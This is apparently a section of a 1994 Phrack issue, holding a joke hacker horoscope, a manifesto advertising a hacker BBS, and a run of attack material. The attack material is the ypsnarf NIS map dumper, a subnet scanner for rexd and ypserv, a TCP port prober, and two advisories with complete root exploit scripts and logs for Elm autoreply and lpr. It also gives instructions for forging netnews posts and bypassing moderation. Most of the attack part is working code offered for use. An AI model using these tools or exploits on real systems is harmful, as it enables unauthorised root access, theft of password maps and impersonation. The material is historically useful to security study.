Aries Aries Cancer Capricorn
Taurus Gemini Pisces Taurus
Gemini Cancer Aries Scorpio
Cancer Leo Virgo Gemini
Leo Scorpio Gemini Leo
Virgo Capricorn Sagittarius Libra
Libra Virgo Libra Virgo
Scorpio Pisces Capricorn Pisces
Sagittarius Aquarius Scorpio Aquarius
Capricorn Taurus Taurus Aries
==============================================================
---
And Now... The 3l33t And Official PHRACK Summer 1994 Horoscope!
Aries [March 21st - April 19th]
There is a pot full of k0DeZ at the end of the rainbow for you.
Try to channel all your ambition on finding it, hint: you won't
find it in /bin/gif/kitchen.gear.
Warning: Risk of bust between August 5th and August 10th!
Luck [oooo.] - Wealth [oo...] - Bust risk [ooo..] - Love [o....]
Taurus [April 20th - May 20th]
PhedZzZz are lurking behind Saturn, obscured behind one of the rings.
Be sure to *67 all your calls, and you'll be fine. Hint: Don't undertake
any interstellar space travel, and avoid big yellow ships.
Watch out for SprintNet Security between July 12th and August 1st.
Luck [oo...] - Wealth [oo...] - Bust risk [oooo.] - Love [ooo..]
Gemini [May 21st - June 20th]
There might be a force dragging you into warez boards. Try to resist
the attraction, or you might be thrown out of the paradise.
Hint: If a stranger with a /ASL connect crosses your way, stay away
from him.
Warning: Your Dual Standard HST might explode sometime in June.
Luck [o....] - Wealth [ooo..] - Bust risk [o....] - Love [oo...]
Cancer [June 21st - July 22nd]
There are dark forces on your trail. Try to avoid all people wearing
suits, don't get in their cars, and don't let them give you shit.
Hint: Leave the country as soon if you can, or you won't be able to.
Look out for U4EA on IRC in late July, you might get /killed.
Luck [o....] - Wealth [oo...] - Bust risk [ooooo] - Love [oo...]
Leo [July 23rd - August 22nd]
The path of Venus this year tells us that there is love on the way
for you. Don't look for it on X-rated ftp sites, it might be out there
somewhere. Hint: Try getting out of the house more frequently or you
might miss it.
Warning: If Monica Weaver comes across your way, break and run!
Luck [ooo..] - Wealth [o....] - Bust risk [oo...] - Love [oooo.]
Virgo [August 23rd - September 22nd]
Pluto tells us that you should stay away from VAXes in the near future.
Lunatic force tells us that you might have more luck on Berkeley UNIX.
Hint: Try to go beyond cat /etc/passwd. Explore sendmail bugs.
Warning: In the first week of October, there is a risk of being ANIed.
Luck [oooo.] - Wealth [oo...] - Bust risk [oo...] - Love [o....]
Libra [September 23rd - October 22nd]
The closer way of Mars around the Sun this year might mean that you
will be sued by a telco or a big corporation. The eclipse of Uranus
could say that you might have some luck and card a VGA 486 Laptop.
Hint: Be careful on the cordless.
Watch out for good stuff in dumpsters between July 23rd and July 31st.
Luck [oo...] - Wealth [o....] - Bust risk [oooo.] - Love [oo...]
Scorpio [October 23rd - November 21st]
Sun propulsions say that you should spend more time exploring the
innards of credit report systems, but be aware that Saturn reminds
you that one local car dealer has his I.D. monitored.
Hint: Stay out of #warez
Warning: A star called 43-141 might be your doom. Watch out.
Luck [ooo..] - Wealth [oooo.] - Bust risk [oo...] - Love [oo...]
Sagittarius [November 22nd - December 21st]
Cold storms on Pluto suggest that you don't try to play eleet
anarchist on one of the upcoming cons. Pluto also sees that there
might be a slight chance that you catch a bullet pestering a cop.
Hint: Be nice to your relatives.
You might get lucky BSing during the third week of August.
Luck [o....] - Wealth [oo...] - Bust risk [ooo..] - Love [oo...]
Capricorn [December 22nd - January 19th]
This summer brings luck to you. Everything you try is about to work
out. You might find financial gain in selling k0DeZ to local warez
bozos. Hint: Don't try to BS at a number who is a prime number, they
will trace your ass and beat you to death with a raw cucumber.
Special kick of luck between June 14th and July 2nd.
Luck [ooooo] - Wealth [oooo.] - Bust risk [oo...] - Love [ooo..]
Aquarius [January 20th - February 18th]
The third moon of Saturn suggests to stay in bed over the whole
summer, or everything will worsen. Avoid to go to any meetings
and cons. Do not try to get up before September 11th.
Hint: You can risk to call PRODIGY and have a gR3aT time.
Warning: High chance of eavesdroping on your line on August 14th.
Luck [.....] - Wealth [o....] - Bust risk [ooooo] - Love [o....]
Pisces [February 19th - March 20th]
Mars reads a high mobility this summer. You should try to go to a
foreign county, maybe visit HEU II. Finances will be OK. Do not go
on any buses for that might be your doom.
Hint: Don't get a seat near a window, whatever you do.
Warning: Avoid 6'8" black guys in Holland, they might go for your ass.
Luck [ooo..] - Wealth [ooo..] - Bust risk [o....] - Love [oo...]
If your horoscope does not come true, complain to god@heaven.mil. 31337
If it does, you are welcome to report it to onkeld@ponton.hanse.de. 43V3R
------------------------------------------------------------------------------
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
The SenseReal Mission
If you are reading this it indicates you have reached a point
along your journey that you will have to decide whether you agree
with The SenseReal Foundation or whether you think that those who
believe and support The SenseReal Foundation are crazy. Your
decision to join The SenseReal Foundation on it's mission will
undoubtedly change your life forever. When you understand the
reason it exists and what it seeks you will better know how to
decide. That is why this text was created.
He is known as Green Ghost. Some know him as Jim Nightshade. He
was born in 1966. He is not a baby boomer and he is not a
Generation Xer. He falls into that group of the population that
has so far escaped definition. He is a (yberpunk. He was (yberpunk
before (yberpunk was cool. He is the founder and leader of The
SenseReal Foundation. You will learn more about him later.
But first you will have to know about the background. There once
was a man named Albert Hoffman. In 1943, on April 16 Hoffman
absorbed a threshold amount of the drug known as LSD. He
experienced "a peculiar restlessness". LSD since that time has
played an important role in this world.
There are other agents involved in the story. Mary Pinchot, JFK,
Nixon, Charles Manson, Jimi Hendrix, Timothy Leary, Elvis Presley
and many others. There are too many details and explanations
necessary to explain everything here. But this does not matter.
Because the SenseReal Foundation is about riding the wave. We
believe that the ultimate goal cannot be defined. To define it
would be to destroy it.
The SenseReal Foundation hopes that things can be changed for
the better. But we realize that the situation can become
much worse. From what history teaches us and what we instinctively
feel, we know that there is a great probability that things will
get much worse before and if things ever get better. Doom looms
on the horizon like an old friend.
Freedom is being threatened every day and The SenseReal
Foundation seeks to defend and seek Freedom. Big Brother is here
NOW and to deny his existence is only to play into his hand. The
goal of our government both here in America and worldwide is to
remain in power and increase it's control of The People. To
expose Big Brother and destroy him is one of the many goals of
The SenseReal Foundation.
As a member of (yberspace and an agent of The SenseReal
Foundation you will have to carefully consider your interaction
with the flow of Info. The ideals of Liberty must be maintained.
The SenseReal Foundation provides a grounding point. The place
where the spark transfers from plasma to light and back to plasma.
Tesla was not on the wrong track. The SenseReal Foundation is a
mechanism which seeks to increase Freedom. Only by learning more
can we defeat the Evil. The Good must prevail.
If you have the Hacker spirit and think along the same lines
then The SenseReal Foundation may be your calling. If you think
like J.R. Dobbs or Green Ghost then it is possible we can make it
through The Apocalypse. A final date has never been announced for
this event. Green Ghost does not claim to know the exact date but
he does claim to have some Info on it.
Green Ghost does not claim to have all the answers or even to
know all the questions. He was first exposed to computers in the
early 70's at his local high school. The first computer he ever
used was a Honeywell terminal connected to a mainframe operated
at the home office of Honeywell and operated for the school.
This machine was programed by feeding it stacks of cards with
boxes X'd out with a No. 2 pencil. It did have a keyboard hooked
up to a printer which served for the monitor. The text was typed
out and the paper rolled out of the machine in great waves.
This experience left him wanting more. Somewhere between the
machine and the mind were all the questions and all the answers.
The SenseReal Foundation will supply some of the means. We
must all work together if we are to succeed. UNITED WE STAND,
DIVIDED WE FALL. If you wish to participate with The SenseReal
Foundation you must devote yourself to becoming an Info Agent.
As an Info Agent it is your duty to seek Truth and Knowledge
out wherever it is located. To Learn and to seek to increase
the Learning of all at The SenseReal Foundation. Different
people will be needed to help out in different ways.
SenseReal's Info Agents are located all around the world and
are in contact with fellow SenseReal members via any one of
several SenseReal facilities. The primary establishment and
headquarters of The SenseReal Foundation is SenseReal's own
online system:
T /-/ E /-/ /=\ ( /< E R ' S /\/\ /=\ /\/ S / O /\/
>>>::: 1 - 8 0 3 - 7 8 5 - 5 0 8 0 :::<<<
27 Hours Per Day /14.4 Supra /Home of The SenseReal Foundation
Also contact via SenseReal's mail drop by writing or sending
materials to: TSF \ Electronic Mail:
P.O. BOX 6914 \ Green_Ghost@neonate.atl.ga.us
HILTON HEAD, SC 29938-6914 \
The Hacker's /\/\ansion is a system like no other. While it is
not your typical Hackers board it has much Info on Hacking. While
it is not like any Adult system you've ever seen it has the most
finest Adult material available anywhere. It is not a Warez board
but we are definitely Pirates. Because we are (yberpunks. What
makes the Hacker's Mansion different is our emphasis on quality.
Everything that you find at The /-/acker's /\/\ansion is 1ST
(lass. All the coolest E-zines are pursued here. Phrack, CUD, and
Thought Virus to name just a few. Of course there is one other
source for Thought Virus:
Send E-Mail to: ListServ@neonate.atl.ga.us
In the subject or body of the message write:
FAQ ThoughtCriminals
and you will receive the current issue in your E-Mail box in no
time. If you wish to join the Thought Criminals mailing list and
communicate with your fellow Thought Criminals via E-Mail then
send another message to: ListServ@neonate.atl.ga.us
and write the following in the subject or body of the message:
Subscribe ThoughtCriminals Your-Address-Here
or simply: Subscribe ThoughtCriminals
To mail others on the Thought Criminals mailing list send a message
to: ThoughtCriminals@neonate.atl.ga.us
Tell us all. Communication is vital. Our survival may depend on
it. The SenseReal Foundation is about the allegiance of many
people, and indeed beings, as our friends from other planets can
tell you. The EFF inspired us and was a model but we don't have
the EFF's money so we need YOU. If you are someone who can
contribute or who believes in The Cause or are just interested
in Tax Resistance or the Free The Weed movement then you should
join The SenseReal Foundation today. Contact us through any of
above channels and become a Freedom Fighter today. Time is of
the essence.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
------------------------------------------------------------------------------
** OLD SHIT THAT STILL WORKS **
- sometimes -
/*
* THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN
* THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE
* IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM. PLEASE DO NOT
* REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY.
*
* ypsnarf - exercise security holes in yp/nis.
*
* Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik
* (casper@fwi.uva.nl).
*
* Usage:
* ypsnarf server client
* - to obtain the yp domain name
* ypsnarf server domain mapname
* - to obtain a copy of a yp map
* ypsnarf server domain maplist
* - to obtain a list of yp maps
*
* In the first case, we lie and pretend to be the host "client", and send
* a BOOTPARAMPROC_WHOAMI request to the host "server". Note that for this
* to work, "server" must be running rpc.bootparamd, and "client" must be a
* diskless client of (well, it must boot from) "server".
*
* In the second case, we send a YPPROC_DOMAIN request to the host "server",
* asking if it serves domain "domain". If so, we send YPPROC_FIRST and
* YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map
* "mapname". Note that you must specify the full yp map name, you cannot
* use the shorthand names provided by "ypcat".
*
* In the third case, the special map name "maplist" tells ypsnarf to send
* a YPPROC_MAPLIST request to the server and get the list of maps in domain
* "domain", instead of getting the contents of a map. If the server has a
* map called "maplist" you can't get it. Oh well.
*
* Since the callrpc() routine does not make any provision for timeouts, we
* artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the
* initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer.
*
* This program uses UDP packets, which means there's a chance that things
* will get dropped on the floor; it's not a reliable stream like TCP. In
* practice though, this doesn't seem to be a problem.
*
* To compile:
* cc -o ypsnarf ypsnarf.c -lrpcsvc
*
* David A. Curry
* Purdue University
* Engineering Computer Network
* Electrical Engineering Building
* West Lafayette, IN 47907
* davy@ecn.purdue.edu
* January, 1991
*/
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <rpc/rpc.h>
#include <rpcsvc/bootparam.h>
#include <rpcsvc/yp_prot.h>
#include <rpc/pmap_clnt.h>
#include <sys/time.h>
#include <signal.h>
#include <string.h>
#include <netdb.h>
#include <stdio.h>
#define BOOTPARAM_MAXDOMAINLEN 32 /* from rpc.bootparamd */
#define YPSNARF_TIMEOUT1 15 /* timeout for initial request */
#define YPSNARF_TIMEOUT2 30 /* timeout during map transfer */
char *pname; /* program name */
main(argc, argv)
char **argv;
int argc;
{
char *server, *client, *domain, *mapname;
pname = *argv;
/*
* Process arguments. This is less than robust, but then
* hey, you're supposed to know what you're doing.
*/
switch (argc) {
case 3:
server = *++argv;
client = *++argv;
get_yp_domain(server, client);
exit(0);
case 4:
server = *++argv;
domain = *++argv;
mapname = *++argv;
if (strcmp(mapname, "maplist") == 0)
get_yp_maplist(server, domain);
else
get_yp_map(server, domain, mapname);
exit(0);
default:
fprintf(stderr, "Usage: %s server client -", pname);
fprintf(stderr, "to obtain yp domain name\n");
fprintf(stderr, " %s server domain mapname -", pname);
fprintf(stderr, "to obtain contents of yp map\n");
exit(1);
}
}
/*
* get_yp_domain - figure out the yp domain used between server and client.
*/
get_yp_domain(server, client)
char *server, *client;
{
long hostip;
struct hostent *hp;
bp_whoami_arg w_arg;
bp_whoami_res w_res;
extern void timeout();
enum clnt_stat errcode;
/*
* Just a sanity check, here.
*/
if ((hp = gethostbyname(server)) == NULL) {
fprintf(stderr, "%s: %s: unknown host.\n", pname, server);
exit(1);
}
/*
* Allow the client to be either an internet address or a
* host name. Copy in the internet address.
*/
if ((hostip = inet_addr(client)) == -1) {
if ((hp = gethostbyname(client)) == NULL) {
fprintf(stderr, "%s: %s: unknown host.\n", pname,
client);
exit(1);
}
bcopy(hp->h_addr_list[0],
(caddr_t) &w_arg.client_address.bp_address.ip_addr,
hp->h_length);
}
else {
bcopy((caddr_t) &hostip,
(caddr_t) &w_arg.client_address.bp_address.ip_addr,
sizeof(ip_addr_t));
}
w_arg.client_address.address_type = IP_ADDR_TYPE;
bzero((caddr_t) &w_res, sizeof(bp_whoami_res));
/*
* Send a BOOTPARAMPROC_WHOAMI request to the server. This will
* give us the yp domain in the response, IFF client boots from
* the server.
*/
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT1);
errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg,
xdr_bp_whoami_res, &w_res);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
/*
* Print the domain name.
*/
printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);
/*
* The maximum domain name length is 255 characters, but the
* rpc.bootparamd program truncates anything over 32 chars.
*/
if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN)
printf(" (truncated?)");
/*
* Put out the client name, if they didn't know it.
*/
if (hostip != -1)
printf(" (client name = %s)", w_res.client_name);
putchar('\n');
}
/*
* get_yp_map - get the yp map "mapname" from yp domain "domain" from server.
*/
get_yp_map(server, domain, mapname)
char *server, *domain, *mapname;
{
char *reqp;
bool_t yesno;
u_long calltype;
bool (*xdr_proc)();
extern void timeout();
enum clnt_stat errcode;
struct ypreq_key keyreq;
struct ypreq_nokey nokeyreq;
struct ypresp_key_val answer;
/*
* This code isn't needed; the next call will give the same
* error message if there's no yp server there.
*/
#ifdef not_necessary
/*
* "Ping" the yp server and see if it's there.
*/
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT1);
errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
xdr_void, 0);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
#endif
/*
* Figure out whether server serves the yp domain we want.
*/
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT1);
errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
xdr_wrapstring, (caddr_t) &domain, xdr_bool,
(caddr_t) &yesno);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
/*
* Nope...
*/
if (yesno == FALSE) {
fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
server, domain);
exit(1);
}
/*
* Now we just read entry after entry... The first entry we
* get with a nokey request.
*/
keyreq.domain = nokeyreq.domain = domain;
keyreq.map = nokeyreq.map = mapname;
reqp = (caddr_t) &nokeyreq;
keyreq.keydat.dptr = NULL;
answer.status = TRUE;
calltype = YPPROC_FIRST;
xdr_proc = xdr_ypreq_nokey;
while (answer.status == TRUE) {
bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT2);
errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc,
reqp, xdr_ypresp_key_val, &answer);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
/*
* Got something; print it.
*/
if (answer.status == TRUE) {
printf("%.*s\n", answer.valdat.dsize,
answer.valdat.dptr);
}
/*
* Now we're requesting the next item, so have to
* send back the current key.
*/
calltype = YPPROC_NEXT;
reqp = (caddr_t) &keyreq;
xdr_proc = xdr_ypreq_key;
if (keyreq.keydat.dptr)
free(keyreq.keydat.dptr);
keyreq.keydat = answer.keydat;
if (answer.valdat.dptr)
free(answer.valdat.dptr);
}
}
/*
* get_yp_maplist - get the yp map list for yp domain "domain" from server.
*/
get_yp_maplist(server, domain)
char *server, *domain;
{
bool_t yesno;
extern void timeout();
struct ypmaplist *mpl;
enum clnt_stat errcode;
struct ypresp_maplist maplist;
/*
* This code isn't needed; the next call will give the same
* error message if there's no yp server there.
*/
#ifdef not_necessary
/*
* "Ping" the yp server and see if it's there.
*/
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT1);
errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
xdr_void, 0);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
#endif
/*
* Figure out whether server serves the yp domain we want.
*/
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT1);
errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
xdr_wrapstring, (caddr_t) &domain, xdr_bool,
(caddr_t) &yesno);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
/*
* Nope...
*/
if (yesno == FALSE) {
fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
server, domain);
exit(1);
}
maplist.list = (struct ypmaplist *) NULL;
/*
* Now ask for the list.
*/
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT1);
errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST,
xdr_wrapstring, (caddr_t) &domain,
xdr_ypresp_maplist, &maplist);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
if (maplist.status != YP_TRUE) {
fprintf(stderr, "%s: cannot get map list: %s\n", pname,
yperr_string(ypprot_err(maplist.status)));
exit(1);
}
/*
* Print out the list.
*/
for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next)
printf("%s\n", mpl->ypml_name);
}
/*
* print_rpc_err - print an rpc error and exit.
*/
print_rpc_err(errcode)
enum clnt_stat errcode;
{
fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode));
exit(1);
}
/*
* timeout - print a timeout and exit.
*/
void timeout()
{
fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname);
exit(1);
}
------------------------------------------------------------------------------
#!/bin/perl -s
#
# Scan a subnet for valid hosts; if given hostname, will look at the
# 255 possible hosts on that net. Report if host is running rexd or
# ypserv.
#
# Usage: scan n.n.n.n
# mine, by default
$default = "130.80.26";
$| = 1;
if ($v) { $verbose = 1; }
if ($#ARGV == -1) { $root = $default; }
else { $root = $ARGV[0]; }
# ip address
if ($root !~ /[0-9]+\.[0-9]+\.[0-9]+/) {
($na, $ad, $ty, $le, @host_ip) = gethostbyname($root);
($one,$two,$three,$four) = unpack('C4',$host_ip[0]);
$root = "$one.$two.$three";
if ($root eq "..") { die "Can't figure out what to scan...\n"; }
}
print "Subnet $root:\n" if $verbose;
for $i (01..255) {
print "Trying $root.$i\t=> " if $verbose;
&resolve("$root.$i");
}
#
# Do the work
#
sub resolve {
local($name) = @_;
# ip address
if ($name =~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {
($a,$b,$c,$d) = split(/\./, $name);
@ip = ($a,$b,$c,$d);
($name) = gethostbyaddr(pack("C4", @ip), &AF_INET);
}
else {
($name, $aliases, $type, $len, @ip) = gethostbyname($name);
($a,$b,$c,$d) = unpack('C4',$ip[0]);
}
if ($name && @ip) {
print "$a.$b.$c.$d\t$name\n";
system("if ping $name 5 > /dev/null ; then\nif rpcinfo -u $name 100005 > /dev/null ; then showmount -e $name\nfi\nif rpcinfo -t $name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo -u $name 100004 > /dev/null ; then echo \"R
unning ypserv.\"\nfi\nfi");
}
else { print "unable to resolve address\n" if $verbose; }
}
sub AF_INET {2;}
------------------------------------------------------------------------------
/*
* probe_tcp_ports
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define RETURN_ERR -1
#define RETURN_FAIL 0
#define RETURN_SUCCESS 1
int Debug;
int Hack;
int Verbose;
main(ArgC, ArgV)
int ArgC;
char **ArgV;
{
int Index;
int SubIndex;
for (Index = 1; (Index < ArgC) && (ArgV[Index][0] == '-'); Index++)
for (SubIndex = 1; ArgV[Index][SubIndex]; SubIndex++)
switch (ArgV[Index][SubIndex])
{
case 'd':
Debug++;
break;
case 'h':
Hack++;
break;
case 'v':
Verbose++;
break;
default:
(void) fprintf(stderr,
"Usage: probe_tcp_ports [-dhv] [hostname [hostname ...] ]\n");
exit(1);
}
for (; Index < ArgC; Index++)
(void) Probe_TCP_Ports(ArgV[Index]);
exit(0);
}
Probe_TCP_Ports(Name)
char *Name;
{
unsigned Port;
char *Host;
struct hostent *HostEntryPointer;
struct sockaddr_in SocketInetAddr;
struct hostent TargetHost;
struct in_addr TargetHostAddr;
char *AddressList[1];
char NameBuffer[128];
extern int inet_addr();
extern char *rindex();
if (Name == NULL)
return (RETURN_FAIL);
Host = Name;
if (Host == NULL)
return (RETURN_FAIL);
HostEntryPointer = gethostbyname(Host);
if (HostEntryPointer == NULL)
{
TargetHostAddr.s_addr = inet_addr(Host);
if (TargetHostAddr.s_addr == -1)
{
(void) printf("unknown host: %s\n", Host);
return (RETURN_FAIL);
}
(void) strcpy(NameBuffer, Host);
TargetHost.h_name = NameBuffer;
TargetHost.h_addr_list = AddressList, TargetHost.h_addr =
(char *) &TargetHostAddr;
TargetHost.h_length = sizeof(struct in_addr);
TargetHost.h_addrtype = AF_INET;
TargetHost.h_aliases = 0;
HostEntryPointer = &TargetHost;
}
SocketInetAddr.sin_family = HostEntryPointer->h_addrtype;
bcopy(HostEntryPointer->h_addr, (char *) &SocketInetAddr.sin_addr,
HostEntryPointer->h_length);
for (Port = 1; Port < 65536; Port++)
(void) Probe_TCP_Port(Port, HostEntryPointer, SocketInetAddr);
return (RETURN_SUCCESS);
}
Probe_TCP_Port(Port, HostEntryPointer, SocketInetAddr)
unsigned Port;
struct hostent *HostEntryPointer;
struct sockaddr_in SocketInetAddr;
{
char Buffer[BUFSIZ];
int SocketDescriptor;
struct servent *ServiceEntryPointer;
SocketInetAddr.sin_port = Port;
SocketDescriptor = socket(AF_INET, SOCK_STREAM, 6);
if (SocketDescriptor < 0)
{
perror("socket");
return (RETURN_ERR);
}
if (Verbose)
{
(void) printf("Host %s, Port %d ", HostEntryPointer->h_name,
Port);
if ((ServiceEntryPointer = getservbyport(Port, "tcp")) !=
(struct servent *) NULL)
(void) printf(" (\"%s\" service) ",
ServiceEntryPointer->s_name);
(void) printf("connection ... ");
(void) fflush(stdout);
}
if (connect(SocketDescriptor, (char *) &SocketInetAddr,
sizeof(SocketInetAddr)) < 0)
{
if (Verbose)
(void) printf("NOT open.\n");
if (Debug)
perror("connect");
}
else
{
if (!Verbose)
{
(void) printf("Host %s, Port %d ",
HostEntryPointer->h_name, Port);
if ((ServiceEntryPointer = getservbyport(Port,"tcp")) !=
(struct servent *) NULL)
(void) printf(" (\"%s\" service) ",
ServiceEntryPointer->s_name);
(void) printf("connection ... ");
(void) fflush(stdout);
}
(void) printf("open.\n");
if (Hack)
{
(void) sprintf(Buffer, "/usr/ucb/telnet %s %d",
HostEntryPointer->h_name, Port);
(void) system(Buffer);
}
}
(void) close(SocketDescriptor);
return (RETURN_SUCCESS);
}
------------------------------------------------------------------------------
[8lgm]-Advisory-2.UNIX.autoreply.12-Jul-1991
PROGRAM:
autoreply(1) (/usr/local/bin/autoreply)
Supplied with the Elm Mail System
VULNERABLE OS's:
Any system with a standard installation of The Elm Mail System.
All versions are believed to have this vulnerability.
DESCRIPTION:
autoreply(1) can be used to create root owned files, with mode
666. It can also overwrite any file with semi user-controlled
data.
IMPACT:
Any user with access to autoreply(1) can alter system files and
thus become root.
REPEAT BY:
This example demonstrates how to become root on most affected
machines by modifying root's .rhosts file. Please do not do
this unless you have permission.
Create the following script, 'fixrhosts':
8<--------------------------- cut here ----------------------------
#!/bin/sh
#
# fixrhosts rhosts-file user machine
#
if [ $# -ne 3 ]; then
echo "Usage: `basename $0` rhosts-file user machine"
exit 1
fi
RHOSTS="$1"
USERNAME="$2"
MACHINE="$3"
cd $HOME
echo x > "a
$MACHINE $USERNAME
b"
umask 022
autoreply "a
$MACHINE $USERNAME
b"
cat > /tmp/.rhosts.sh.$$ << 'EOF'
ln -s $1 `echo $$ | awk '{printf "/tmp/arep.%06d", $1}'`
exec autoreply off
exit 0
EOF
/bin/sh /tmp/.rhosts.sh.$$ $RHOSTS
rm -f /tmp/.rhosts.sh.$$ "a
$MACHINE $USERNAME
b"
exit 0
8<--------------------------- cut here ----------------------------
(Lines marked with > represent user input)
> % id
uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
> % ./fixrhosts ~root/.rhosts 8lgm localhost
You've been added to the autoreply system.
You've been removed from the autoreply table.
> % rsh localhost -l root csh -i
Warning: no access to tty.
Thus no job control in this shell.
#
FIX:
1. Disable autoreply.
2. Wait for a patch from the Elm maintainers.
------------------------------------------------------------------------------
[8lgm]-Advisory-3.UNIX.lpr.19-Aug-1991
PROGRAM:
lpr(1) (/usr/ucb/lpr or /usr/bin/lpr)
VULNERABLE OS's:
SunOS 4.1.1 or earlier
BSD 4.3
BSD NET/2 Derived Systems
A/UX 2.0.1
Most systems supporting the BSD LP subsystem
DESCRIPTION:
lpr(1) can be used to overwrite or create (and become owner of)
any file on the system. lpr -s allows users to create symbolic
links in lpd's spool directory (typically /var/spool/lpd).
After 1000 invocations of lpr, lpr will reuse the filename in
the spool directory, and follow the link previously installed.
It will thus overwrite/create any file that this link points too.
IMPACT:
Any user with access to lpr(1) can alter system files and thus
become root.
REPEAT BY:
This example demonstrates how to become root on most affected
machines by modifying /etc/passwd and /etc/group. Please do
not do this unless you have permission.
Create the following script, 'lprcp':
8<--------------------------- cut here ----------------------------
#!/bin/csh -f
#
# Usage: lprcp from-file to-file
#
if ($#argv != 2) then
echo Usage: lprcp from-file to-file
exit 1
endif
# This link stuff allows us to overwrite unreadable files,
# should we want to.
echo x > /tmp/.tmp.$$
lpr -q -s /tmp/.tmp.$$
rm -f /tmp/.tmp.$$ # lpr's accepted it, point it
ln -s $2 /tmp/.tmp.$$ # to where we really want
@ s = 0
while ( $s != 999) # loop 999 times
lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
@ s++
if ( $s % 10 == 0 ) echo -n .
end
lpr $1 # incoming file
# user becomes owner
rm -f /tmp/.tmp.$$
exit 0
8<--------------------------- cut here ----------------------------
(Lines marked with > represent user input)
Make copies of /etc/passwd and /etc/group, and modify them:
> % id
uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
> % cp /etc/passwd /tmp/passwd
> % ex /tmp/passwd
/tmp/passwd: unmodified: line 42
> :a
> 8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
> .
> :wq
/tmp/passwd: 43 lines, 2188 characters.
> % cp /etc/group /tmp
> % ex /tmp/group
/tmp/group: unmodified: line 49
> :/wheel
wheel:*:0:root,operator
> :c
> wheel:*:0:root,operator,8lgm
> .
> :wq
/tmp/group: 49 lines, 944 characters.
Install our new files:
> % ./lprcp /tmp/group /etc/group
................................................................
...................................
lpr: cannot rename /var/spool/lpd/cfA060testnode
> % ./lprcp /tmp/passwd /etc/passwd
.................................................................
..................................
lpr: cannot rename /var/spool/lpd/cfA061testnode
Check it worked:
> % ls -l /etc/passwd /etc/group
-rw-r--r-- 1 8lgm 944 Mar 3 19:56 /etc/group
-rw-r--r-- 1 8lgm 2188 Mar 3 19:59 /etc/passwd
> % head -1 /etc/group
wheel:*:0:root,operator,8lgm
> % grep '^8lgmroot' /etc/passwd
8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
Become root and tidy up:
> % su 8lgmroot
# chown root /etc/passwd /etc/group
# rm -f /tmp/passwd /tmp/group
#
FIX:
1. Contact your vendor for a fix.
2. In the meantime, apply the following patch, derived from
BSD NET/2 source, which will correct the flaw on most
affected systems:
------------------------------------------------------------------------------
Anonymous netnews without "anonymous" remailers
Save any news article to a file. We'll call it "hak" in this example.
Edit hak, and remove any header lines of the form
From some!random!path!user (note: "From ", not "From: " !!)
Article:
Lines:
Shorten the Path: header down to its LAST two or three "bangized" components.
This is to make the article look like it was posted from where it really was
posted, and originally hit the net at or near the host you send it to. Or
you can construct a completely new Path: line to reflect your assumed alias.
Make some change to the Message-ID: field, that isn't likely to be
duplicated anywhere. This is usually best done by adding a couple of
random characters to the part before the @, since news posting programs
generally use a fixed-length field to generate these IDs.
Change the other headers to say what you like -- From:, Newsgroups:,
Sender:, etc. Replace the original message text with your message.
If you are posting to a moderated group, remember to put in an Approved:
header to bypass the moderation mechanism.
Write out the changed file, and send it to your favorite NNTP server that
permits transfers via the IHAVE command, using the following script:
=======================
#! /bin/sh
## Post an article via IHAVE.
## args: filename server
if test "$2" = "" ; then
echo usage: $0 filename server
exit 1
fi
if test ! -f $1 ; then
echo $1: not found
exit 1
fi
